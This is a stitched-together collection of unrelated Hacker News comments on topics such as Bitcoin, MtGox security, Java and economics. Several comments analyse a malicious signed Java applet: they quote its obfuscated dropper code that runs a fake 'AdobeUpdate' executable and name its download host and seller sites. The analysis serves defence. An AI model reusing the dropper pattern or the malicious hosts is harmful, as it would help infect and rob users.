skysight-inc/HackerNews huggingface dataset:
>> "How is it a false positive if there are thousands of spam links still pointing to the domain?"

I can accuse you of being a murderer but the police aren't going to arrest or ruin your (financial) life automatically.

Give me your site name and I'll give you a $5 gift, a gift that keeps giving for life with Google :) http://fiverr.com/gigs/search?utf8=%E2%9C%93&query=senuk...

Google sure loves to have all that power because it can translate it into tens of $ billions. Minus the responsibility of course because that costs money.
Runtime.getRuntime().exec(str9);

Why this works is beyond me, but that looks like the actual call to execute it.
This is "a variant of Win32/Injector.Autoit.HG" trojan according to the ESET antivirus on my machine.
There is no legal requirement to maximize profits, just avoid doing anything stupid. Aka they can donate 5% of total annual profits to charity but not 50%. Drug companies often donate large quantities of medicine to 3rd world countries because it's vary cheap for them to do so and the management team is not evil.
Yeah, I was just making a dumb joke. :^)
Congratulations and thank you Linus. Thank you so much.

As Linus said (paraphrasing): "I realized that in two weeks I could code something better than any single VCS out there".

Linus' kind of passion and hatred towards mediocrity (CVS and SVN) is a kind of attitude we need more. Not from everybody but from the true creators. Linus is one of these "unreasonable man" upon which progress depends on.

Long life Linus and long life is "vocal" point of views.
Hmm very good point. I guess if I do it at night the wasps won't try to sting me?
It sucked to be bombed for three months but now that I realize it made an improvement on your quality of life I feel much better!
The applet itself is pretty straightforward: it downloads the real payload, called "AdobeUpdate-Setup1.84.exe", from g2f.nl/0lczsoo and then runs it. By default, applets don't have permission to access the local filesystem or start processes, but this one has a digital signature which means the user is prompted to give it elevated permissions.
It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice:

String str2 = System.getenv("APPDATA");
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str9 = str5.concat(str6.replace("##", ".ex"));
Runtime.getRuntime().exec(str9);
Care to elaborate on what is wrong about it? I don't have a lot of knowledge about the inner workings of the public education system (outside of going to one for 12 years), but from my observations as an outsider, the article seemed plausible enough. So, I am interested in anything you can dispute.
The US Government spends more money than any entity in history. You think that isn't valuable to all those who wish to obtain some of that money for themselves?

The point of my analogy was that government has some specific functions spelled out by the Constitution. If we stuck to government's main functions rather than trying to have it do everything for everyone - we would make it less of a target for corruption.
I think that is a bit extreme. I'd suggest rather than not installing Java at all just to not install/disable the browser addons that allow java applets to execute. This way the only way you are going to be executing anything Java is by downloading the .jar (or a executable wrapper) and running it.

To me if you have to download the .jar and run it then that is no different to downloading an executable and running it and should take the appropriate precautions as you would with executables.

There are plenty of legitimate Java applications out there that are used by a wide spectrum of people from gamers (minecraft) to enterprise developers (JavaEE, java application servers, etc.).
Thanks for the feedback. We normally go for a topic (event, person etc) on a particular day - a topic that has relevance to that day. I then select appropriate quotes for that topic and the quotes are determined by which ones are most popular on GoodReads. Will review them though, thanks.
Illegal and unreasonable speed limits in Massachusetts
You can't say with a straight face that if 11,000 taxis are good enough for 1930s NYC that 13,000 taxis are good enough for 2013 NYC.
Sildenafil (Viagra) was developed to treat hypertension and angina. It had little effect, but was found to assist with maintaining erections, so it was further developed for that purpose. Later it was discovered to be effective for pulmonary hypertension and is approved for that use, as well.
MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and need to take steps to protect what you have, especially when it's being held on behalf of a customer.
"The limiting factor for Bitcoin is no longer demand; it is the lack of reliable infrastructure for buying and selling them."

There is a big demand, I don't understand why VCs or YCombinator are not pushing a few startups in this direction.
Yes, first hand. Don't do it :)
A contribution to https://github.com/defunkt/mofo got me #71 on January 27, 2008 (https://api.github.com/users/uggedal).
Ah, that explains why it could get away with "Runtime.getRuntime().exec(str9);".

Now, the thing is, I don't think the forum user mentioned clicking anything. However, it's possible they've stolen the signature from something else, which that person has previously chosen to "Always Accept"? (I don't know if Java lets you do that)
Well, he did put a space there. I'd give him a pass.
Yeah, I'd of assumed this would of not been allowed by the JVM hence the exploit somewhere.

Edit: Apparently the applet was signed, hence no exploit needed.
do you mean customer validation has to be done with an idea or concept. I thought having a MVP helps in that customer can more easily understand what you are talking about.
Usually it's not a house, but a block of apartments, each of which are owned individually. It's usually cost prohibitive for someone who owns one apartment in a block of twenty to buy out the land for all twenty.
Perhaps a different form of commenting is needed. Instead of showing all comments to everyone, the article author sees all, while the commenter only sees their own. Potentially, the article author could 'promote' worthwhile comments, and allow full discussion threads - on a separate page.

The point of this would be to allow personal discussion with the author, but spam and driveby comments would be discouraged.

I'm sure this must've been tried somewhere?
Foursquare Gets $41 Million Investment, Time to Grow
> Or in other words, taxes, torts, and other laws give money its value.

i think legitimacy is more correct than value - value is a result of what people demand in exchange for their goods/services. Legitimacy is the trust that people have on the currency (ie, the trust that others woudl also accept the currency).
Not true. We can still have electric cars almost in perpetuity if the source of energy is the Sun... the current untapped carbon-neutral energy producing byproducts (hydro, wind, waves); we can also use the Moon (tidal hydro); the Earth's molten core (geothermal). et al.

Progress (as someone said upthread) is refactoring away from internal combustion engines that only operate by burning stored fossil fuels, to engines that operate by storing electrical energy... then we can start to spend the next couple of decades innovating on the electrical production problem and find a way to bend physics and the abundant energy in the system to our advantage.

(and I say all this as a bit of a doom and gloom cynic) OK, admittedly, we make batteries from finite, rare-earth batteries. That's ultimately a problem.
I should add, that's a maximum of 75 frames. We check if there are duplicate pano's on the same route and stagger them depending on distance, so you could get fewer frames. It's set to 50ms a frame atm.
Show HN: Sendicate, our v1 for reinventing marketing emails
Most of the time => Twitter with list.
Interesting results! In my testing, I came to a different conclusion.

Background: PHP and STOMP, with loads of several million messages per hour, ranging in size from 2-20Kb. Multiple processes enqueuing, and many more dequeuing. Tests performed about this time last year.

Out of ActiveMQ, RabbitMQ and Apollo:

ActiveMQ crashed constantly under load.

RabbitMQ could not enqueue/dequeue fast enough.

Apollo blew them all out of the water and, long-term, has proven extremely stable.

I must admit that haven't spent hours performance tuning. The results shown here, however, make me think I should go back and re-evaluate.
The funny thing is, this particular attack doesn't even involve a Java vulnerability. You have to either specifically grant the applet elevated permissions (giving it full access to your computer) or download and run something that claims to be a "Java updater" from the "g2f.nl" domain.
seems so: https://mtgox.com/press_release_20120605.html
Every VC admits there’s too much seed investing. Still, it surged in Q1
codedbyorpheu

http://www.orpheusinternet.com/portfolio ?

Also
http://pastebin.com/DTiv1TJq
http://pastebin.com/S6V3fZcs
http://www.galaxyjdb.com/index.php?a=DeveloperTeam
> How do you know it can't be reversed easily?

It is impossible to reverse because information is lost. There's an infinite number of "plain text" leading to a same hash.

If you could reverse, say, SHA-1, then you'd just have invented the best compression scheme ever and the world as we know it would be no more: the implication would be huger than anything we can imagine. You could compress a full movie in a SHA-1 hash. Not. Gonna. Happen. It is impossible.

The problem is not reversing information: reversing is simply impossible.

The problem is finding collisions and hence being able to create plain texts that shall lead to the same hash.
From a quick glance it would appear it tries to execute:

C:\Users\<username>\AppData\Roaming\AdobeUpdate-Setup1.84.exe

Just appears to be a rudimentary attempt at obfuscating the executable path.

The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.
Google Reader - "Touch And GO"
You get new bitcoins by creating a new block in the block chain (mining). If there are no other transactions in the block that's fine.

The first block is known as the Genesis block. You might find this useful: https://en.bitcoin.it/wiki/Genesis_block
I reached the same conclusion ... the program downloads a file named "AdobeUpdate-Setup1.84.exe" into Java's temporary directory and then runs it with the line "Runtime.getRuntime().exec(str9);".
No problems? Why wouldn't your genius idea work in every sector of the economy? Surely Apple and Samsung could sell more, better phones if they didn't conduct market research or run ads...
Usually the home owner will have a lease that lasts for 99 years (or at least the person who first built the home had a lease for 99 years...).

Mortgage providers won't give you a mortgage term that ends after the lease does.
My Wish List for American Education
You could play around with the Three.js camera object. We made a separate viewer for the video team that had more complicated camera controls (and higher max frame + zoom level).
Why Bitcoin is a Bubble
Barrack! That was a great game, every now and again I wish I had a system that could run it... (Barrack's Mac OS 9 only.)
You could easily turn a bug into a feature: add a couple of paragraphs to your post pointing out exactly this potential problem, and how you you could test to see whether or not it really is a problem. Your post (which is already terrific) then becomes a great explanation of why not all functions work as one-way functions, and what it means for something to be a good one-way function.
>>"Except for big messages, RabbitMQ seems to be the best bet as it outperforms others by a factor of 3."

RabbitMQ? Does the OP mean to say ZeroMQ?

ZeroMQ leads every benchmark in the blog.
I literally live right off of Clinton and pass that house every day going back and forth to work. I always thought it was great that one of my favorite Mac developers was so close.

Founder Andrew Welch is an RIT grad: http://en.wikipedia.org/wiki/Ambrosia_Software
I was also looking for sources for showcasing my website: bizcoterie.com. One of my search results...

http://www.quora.com/Startups/How-do-you-promote-your-startu...
The Dvorak Zine
AVG detects this as Luhe.Fiha.A

Here's a mnetion from 2011:

(http://answers.microsoft.com/en-us/windows/forum/windows_7-s...)

So, someone using an OS heavily targeted by malware decides not to use anti-malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - that URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.

It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.

But come on; don't just give them your money.

EDIT: I just read the first answer to the MS post above. It's baffling.

> On reflection the best and easiest recourse might be to just tell AVG to "ignore" this "infection." Is this thing actually a virus? or an infection? I have seen no operational problems, nothing in chkdsk, sfc, Registry Mechanic, etc., to concern me.

Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.

MS is stuffed. There is nothing they can do to repair their malware reputation when the users are that stupid.
Ooh, galaxyjdb has a register page: http://www.galaxyjdb.com/index.php?a=Register

>Paypal E-Mail:

>Hackforums Profile Link:

That means this is a service for script kiddies, they've sold this exploit as a service.

EDIT: Hackforums is basically a public internet forum where people openly discuss "hacking" and sell "hacking" tools. I've seen another example, a DDOS service, with an almost empty homepage but login and register actions.

(Why someone would be stupid enough to sell their product from the same domain it reports back to is beyond me, though. Especially since they put credits on it.)

EDIT 2: BINGO! http://www.hackforums.net/showthread.php?tid=3262851&hig... (the forum thread where the product is sold!)

Galaxy JDB is sort for "Galaxy Java Drive-By", apparently.

EDIT 3: Product image here, for people without hackforums accounts: http://i5.minus.com/iq2n2GtUjGHpW.png

Oh wow. "Noob friendly". "Free hosting". "Website Cloner". Only $40 for 6 months...
There's plenty of suitable land in the US that isn't barren frozen waste or barren desert.
It's a very good explanation, but I think it could benefit from a simpler base case, and then the explicit addition of "rounds".

So, the base case is "FOLIO is on page 655(?)" and Alice gives Bob the number 655. Now, there are only 12 five-letter words on page 655, so she's actually giving a pretty good hint away. Instead, she picks the second word of the first line, and give the page of that. Depending on how secure she wants the verification to be, she can repeat this process, with each round making the one-way-function 1000(?) times harder to reverse.
Anyone know what order matching algo MtGox uses? 
Why are they so unable to handle volume? What kind of algorithm are they using to do order matching? I don't know the details of how trading systems work -- how hard is it implement one that is efficient? What are the big-O of the common or likely algos that the bitcoin exchanges might be using?
Not to mention so much more likely to skid on a little rock. Insane trip
Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?
They do have two-factor authentication, which the user admittedly didn't opt in to.

See https://support.mtgox.com/entries/21743327-Security
Since I don't have an mtgox account, and I have a fair degree of confidence that the code posted can't possibly escape the Java sandbox, I decided to live dangerously and try loading the page.

Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra".

Gotta say, I have no sympathy for someone who clicks through that warning screen and then complains that their credentials got stolen.
Wow, what a blast from the past.

Maelstrom ran on my Mac in my dorm for months, open for anyone who wanted to sit down and play a game. Friends in the dorm would just come by, chat for a few minutes, play a game. Good times.

A few years later, I really got into the online tank game, Bolo. Andrew Welch, the owner of Ambrosia, became a Boloer of some skill. Before a Bolo game gets going, there was often some down time when players would text chat, plus there was an IRC channel that had good traffic. I got to know Andrew a bit through that. He was a good guy. He had started Ambrosia with Maelstrom and grown it in bits and pieces with new titles. He never struck me as being hugely ambitious, but he definitely liked owning a little software shop that allowed him to make a decent living.

It's really sad to see that Ambrosia isn't doing well, to say the least. Makes me nostalgic.
Java's fine. Nothing wrong with playing Minecraft. :)

What's a terrible idea is letting it run in your browser. Ever.
Jamendo App Contest: $1,000 and Other Prizes Awarded to the Best App Developer
New Silicon Valley Lobby Group FWD.us Launches Today
http://www.galaxyjdb.com/index.php?a=DeveloperTeam
A signed applet can do pretty much anything an executable app can do if the user gives it permission. I built a little zip utility applet years ago that accesses the file system, ezyzip.com. Still works even though the signature is expired.
Yes. THis is true because the Fed reserve can print more USD, and an overseas oil vendor would actually sell the goods in exchange for the said USD. However, you noticed that the Fed reserve hasn't actually produced any actual value/productivity - they merely printed some pieces of paper.

There for, the US gov't (or more correctly, the Fed reserve) can print their way out of debt that they owe to third parties, until those third parties all wise up. But then you got 11 air craft carriers paroling the world, untold number of submarines and missiles, massive air force etc, and if the US gets a whiff that you are no longer denominating your goods (e.g., oil) in USD, you might find yourself being called the axis of evil.
Yup, they use yubikey and in the past have even given free devices to customers. This guy didn't have one, which is simply irresponsible on his part.
"A totally immature market" = "I have no clue about the market's needis"

you can't dictate needs to the market
I think you're still in a precarious position as the product. Just look at Facebook, Google et. al.
So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface.

You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS.

That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash.

Question, I'm making a rough guess that a realistic speed-optimized fast boot-time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there?

And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.
On behalf of FASTAR: we've updated our main page (fastar.org) to include information about the imminent migration of DADS to FASTAR.org. The site will remain open for public access.
They should really put some screenshots on the website, everybody wants screenshots... had to use Google Images to see how it looks ;)

For everybody who also wants to see screenshots, found some in this blog article: http://blog.getglimpse.com/2013/03/27/glimpse-1-2-released-w...

The interface looks quite nice...
Looks nice. I'm using Soda now, but I'll give this a go.

Side note: could someone remind me what that plugin is that makes the small 'code overview' view on the right side in the screen shots?
Java EE Application Server definition
Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.
if an individual don't consent to paying taxes, they get put in a cage. But if an entire population don't consent to paying taxes, something else is going on.
According to an up thread commenter, it's digitally signed which allows a prompt to the user for elevated permissions.
Makes sense. I was aiming for a single 'a ha!' moment for the reader. What I actually want to do is so how well this mapping works with a real dictionary by writing some code to follow this algorithm with real words.
How is it extreme? The only time I've needed java is for minecraft. Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.)

But stopping the chance of having everything in your digital (and in the case of money, personal) life stolen because you clicked on a link FAR outweighs the benefit of playing minecraft imo.
You forget that batteries can be recycled.
Ops :/ today I just clicked through that screen to run the bitcoin miner i downloaded from bitminter.com. Because I did not realize that, this is a warning from java, really confusing.
Sure, but I don't think everyone takes into account that the price could collapse down to $20 or below and could take, say, over 5 years or more to get above $300 with a lot of volatility along the way.
>> if (str1 != "yes")

Thats some dodgy java code right there. (You should use .equals() )
"The Human Genome Project (HGP) is an international scientific research project with a primary goal of determining the sequence of chemical base pairs which make up DNA, and of identifying and mapping the approximately 20,000–25,000 genes of the human genome from both a physical and functional standpoint.[1]
The first official funding for the Project originated with the Department of Energy’s Office of Health and Environmental Research, headed by Charles DeLisi, and was in the Reagan Administration’s 1987 budget submission to the Congress.[2] It subsequently passed both Houses. The Project was planned for 15 years.[3]
"

I don't see how the HGP was unrelated to government investment...
I think the most environmentally friendly option is to just avoid buying a new car.
It doesn't seem to have any conventions for dealing with multiple side conversations that inevitably happen when several people are in the same chat room. While it is a hard problem to solve well, I think that is something "chat done right" needs to include.
neither gold nor bitcoins are inflationary. In fact, both are deflationary.
Free Webinar: Quality Assurance for PHP Projects Using PhpStorm
see https://coinbase.com/